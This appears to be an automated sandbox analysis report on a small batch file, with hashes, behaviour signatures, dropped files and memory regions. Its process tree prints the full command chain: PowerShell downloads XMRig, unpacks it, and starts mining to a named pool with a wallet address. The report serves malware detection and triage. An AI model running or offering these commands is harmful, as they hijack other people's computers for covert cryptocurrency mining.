Analysis

  • max time kernel
    1809s
  • max time network
    1832s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    25/12/2023, 18:17

General

  • Target

    tesy - Copy (14).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (14).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4456
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4972
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:220
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:2580

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    42d4b1d78e6e092af15c7aef34e5cf45

    SHA1

    6cf9d0e674430680f67260194d3185667a2bb77b

    SHA256

    c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

    SHA512

    d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    c5a97747ead80a15ec368c58b708929a

    SHA1

    4fa7ca1e4816fb4ad64237df47a59a8847e80cae

    SHA256

    8c3d15a44a76467f9ea7c9eff6a567e61a9d977c3ba47bddd2d4681dcefa8431

    SHA512

    b134d5438a090bbde21670ffbe3c8c17c6825a2e907eab1e682daef653c9fbab08608a6a2398126e6c613e0b0419cc638dbbb6a673f4580c9726859d96546069

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2meem0ph.t0w.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    546KB

    MD5

    fedbb6ef63de4f30490309ccb619fa33

    SHA1

    66dcc1e78edc5aaad53a53f933b845adcd6b4d1d

    SHA256

    fb47305ec082e7a1f0974d51b8034698d704deabbdf824f2bf647ab18bd3ab0d

    SHA512

    3e8a5a21d222c7f7b6da632dfd064c6951c954ed086a60b23d8bdf2d54c139bb28bbf1df1f824af5d181764bf2037ade984f71ef538ee9c7e57a8be4551115f2

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    370KB

    MD5

    0c7780e1414282a10d87e6a58c85b58c

    SHA1

    727c98142b6ae8a498db28619218969073e61b44

    SHA256

    abfa5843a96213e121066cbe8030e73797e775df37078141a9cb79496e10ee5e

    SHA512

    a934346c297e10c8a71ed207ebf94bdcfd9986a55892458995a672b1312378578d5b5520dd6b14197ee11b91052b89f37e362fea5e0a623a523b2bdbf61faec2

  • memory/220-89-0x000001BB38BA0000-0x000001BB38BAA000-memory.dmp

    Filesize

    40KB

  • memory/220-38-0x000001BB389D0000-0x000001BB389E0000-memory.dmp

    Filesize

    64KB

  • memory/220-37-0x000001BB389D0000-0x000001BB389E0000-memory.dmp

    Filesize

    64KB

  • memory/220-113-0x00007FFB9D860000-0x00007FFB9E24C000-memory.dmp

    Filesize

    9.9MB

  • memory/220-36-0x00007FFB9D860000-0x00007FFB9E24C000-memory.dmp

    Filesize

    9.9MB

  • memory/220-62-0x000001BB389D0000-0x000001BB389E0000-memory.dmp

    Filesize

    64KB

  • memory/220-76-0x000001BB38F40000-0x000001BB38F52000-memory.dmp

    Filesize

    72KB

  • memory/2580-145-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-150-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-184-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-116-0x0000021531520000-0x0000021531540000-memory.dmp

    Filesize

    128KB

  • memory/2580-117-0x0000021532D20000-0x0000021532D60000-memory.dmp

    Filesize

    256KB

  • memory/2580-118-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-120-0x0000021532D60000-0x0000021532D80000-memory.dmp

    Filesize

    128KB

  • memory/2580-121-0x0000021532D80000-0x0000021532DA0000-memory.dmp

    Filesize

    128KB

  • memory/2580-119-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-122-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-123-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-124-0x0000021532D60000-0x0000021532D80000-memory.dmp

    Filesize

    128KB

  • memory/2580-125-0x0000021532D80000-0x0000021532DA0000-memory.dmp

    Filesize

    128KB

  • memory/2580-126-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-127-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-128-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-129-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-130-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-131-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-132-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-133-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-134-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-135-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-136-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-137-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-138-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-139-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-140-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-141-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-142-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-143-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-144-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-183-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-146-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-147-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-148-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-149-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-182-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-151-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-152-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-153-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-154-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-155-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-156-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-157-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-158-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-159-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-160-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-161-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-162-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-163-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-164-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-165-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-166-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-167-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-168-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-169-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-170-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-171-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-172-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-173-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-174-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-175-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-176-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-177-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-178-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-179-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-180-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2580-181-0x00007FF679EB0000-0x00007FF67A9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4972-8-0x000001783DEC0000-0x000001783DED0000-memory.dmp

    Filesize

    64KB

  • memory/4972-4-0x000001783E030000-0x000001783E052000-memory.dmp

    Filesize

    136KB

  • memory/4972-6-0x00007FFB9D860000-0x00007FFB9E24C000-memory.dmp

    Filesize

    9.9MB

  • memory/4972-9-0x0000017856750000-0x00000178567C6000-memory.dmp

    Filesize

    472KB

  • memory/4972-10-0x000001783DEC0000-0x000001783DED0000-memory.dmp

    Filesize

    64KB

  • memory/4972-25-0x000001783DEC0000-0x000001783DED0000-memory.dmp

    Filesize

    64KB

  • memory/4972-30-0x00007FFB9D860000-0x00007FFB9E24C000-memory.dmp

    Filesize

    9.9MB